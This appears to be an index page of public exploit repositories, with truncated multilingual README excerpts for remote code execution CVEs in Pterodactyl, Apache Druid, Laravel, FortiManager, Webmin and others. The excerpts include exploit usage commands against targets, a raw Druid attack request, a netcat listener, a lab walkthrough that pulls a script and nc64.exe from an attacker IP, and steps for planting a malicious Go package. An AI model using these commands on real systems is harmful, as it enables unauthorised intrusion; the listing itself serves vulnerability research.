CVE-2025-49132-Pterodactyl-Panel-Unauthenticated-Remote-Code-Execution-RCE-

CVE-2025-49132 Pterodactyl Panel - Unauthenticated Remote Code Execution RCE 🔎 Summary CVE‑2025‑49132 is a critical Remote Code Execution vulnerability affecting Pterodactyl Panel --cmd "" --path Examples python3 CVE-2025-49132-dbs.py --target victim.com --cmd "whoami" python3 CVE-2025-49132-dbs....

RCE-QloApps-CVE-2024-40318

RCE-QloApps-CVE-2024-40318 Un ataque de ejecución remota de código RCE permite a un atacante ejecutar código en un ordenador. La capacidad de ejecutar código podría conducir a implementar malware adicional o robar datos sensibles o incluso dañar el servidor. La ejecución remota de código fue...

CVE-2024-10728

CVE-2024-10728 PostX var ultpoptionpanel =...

CVE-2021-25646

Apache Druid RCE title="druid" && title=="Apache Druid" POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: x.x.x.x:8888 Content-Length: 612 Accept: application/json, text/plain, / Origin: http://x.x.x.x:8888 User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko...

CVE-2025-55182_full_exploit

CVE-2025-55182fullexploit Este repositorio contiene el exploit completo para CVE-2025-55182 con RCE Pasos para ejecutar el exploit 1. Instalar dependencias pip install -r requirements.txt 2. Ejecutar el exploit python3 exploit.py targetlist.txt "comando"...

CVE-2019-18655

CVE-2019-18655 módulo metasploit. Desbordamiento de búfer basado en SEH en la aplicación File Sharing Wizard v.1.5.0. Resumen de CVE: File Sharing Wizard versión 1.5.0 está afectado por una vulnerabilidad de desbordamiento de búfer basada en el Manejador de Excepciones Estructuradas SEH. Un...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-go-get-RCE 이 문제는 패키지를 설치할 때 Golang이 네이티브 확장을 빌드하기 때문에 발생합니다. 이를 통해 컴파일러에 추가 플래그를 전달하여 코드 실행을 얻을 수 있습니다. 예를 들어, CFLAGS를 사용할 수 있습니다. 다음 명령어로 빌드할 수 있습니다: $ gcc -shared -o attack.so -fPIC attack.c 전체 페이로드를 Github에 호스팅한 후, 피해자에게 패키지 링크를 전달할 수 있어야 합니다...

Fortijump-Exploit-CVE-2024-47575

CVE-2024-47575 Fortinet FortiManager Ejecución Remota de Código no Autenticada, también conocido como FortiJump CVE-2024-47575 Consulte nuestra entrada de blog para detalles técnicos Para empezar, establezca su sesión ncat: nc -lvvnp 80 Luego, ejecute nuestro generador de artefactos de detección:...

CVE-2025-3248

CVE-2025-3248 Documentación de la herramienta de explotación Introducción Esta herramienta se utiliza para explotar la vulnerabilidad CVE-2025-3248 una vulnerabilidad de inyección de código basada en Python mediante la construcción de un payload malicioso para lograr la ejecución remota de comand...

CVE-2025-32682

🐚 CVE-2025-32682 - Arbitrary File Upload in MapSVG Lite = 8.5.34 📌 Plugin Details Name: MapSVG Lite Affected Version: = 8.5.34 Vulnerability Type: Arbitrary File Upload CVE ID: CVE-2025-32682 Published Date: 15 April, 2025 CVSS Score: 9.9 Critical 💥 Vulnerability Summary The MapSVG Lite plugin fo...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Test Environment mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d Usage git clone https://github.com/miko550/CVE-2021-3129.git cd...

CVE-2024-3400-POC

Script de Prueba RCE para CVE-2024-3400 Resumen Este script de Python está diseñado para detectar una vulnerabilidad de ejecución remota de código RCE, específicamente CVE-2024-3400, que afecta a ciertos portales GlobalProtect de Palo Alto Networks. La vulnerabilidad permite la ejecución no...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Overview of Apache ActiveMQ and OpenWire ActiveMQ is an open-source messaging and integration pattern server that supports communication between systems using various languages, not just Java, as well as a broker including clients that support JMS...

CVE-2019-15107

Webmin applications for versions 1.890 and below are vulnerable to Unauthenticated Remote Code Execution. CVE-2019-15107. Reference : https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2024-11394

CVE-2024-11394 Vulnerabilidad de ejecución remota de código por deserialización de datos no confiables en el modelo Trax de Hugging Face Transformers Descripción general y efectos de la vulnerabilidad: La vulnerabilidad permite a un atacante ejecutar código arbitrario en la máquina anfitriona al...

CVE-2024-41997

RCE en Warp Terminal CVE-2024-41997 Inyección de comandos a través del controlador de esquema URI warp:// sin sanitizar. Artículo completo en 0day.gg. Resumen Propiedad| Valor ---|--- CVE| CVE-2024-41997 Vulnerabilidad| Inyección de comandos CWE-77 Objetivo| Warp Terminal macOS Afectado|...

CVE-2024-11972-POC

Descripción Nombre : CVE-2024-11972 Puntuación CVSSv3 : 9.8 Versiones afectadas : Hunk Companion argparse, requests, urljoin Uso options: -h, --help show this help message and exit -u URL, --url URL Base URL of the WordPress site default: http://localhost/wordpress/. -p PLUGIN, --plugin PLUGIN...

CVE-2025-32433

Erlang/OTP SSH Remote Code Execution Vulnerability. The root cause is a flaw in the SSH protocol's message handling mechanism, allowing attackers to send connection protocol messages before authentication is complete. Notably, this vulnerability affects all Erlang/OTP versions running SSH server...

cve-2018-9951

Foxit Reader CPDFObject Use-After-Free Remote Code Execution Vulnerability Vulnerability Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code Vulnerability Description This vulnerability allows remote attackers to execute arbitrary code o...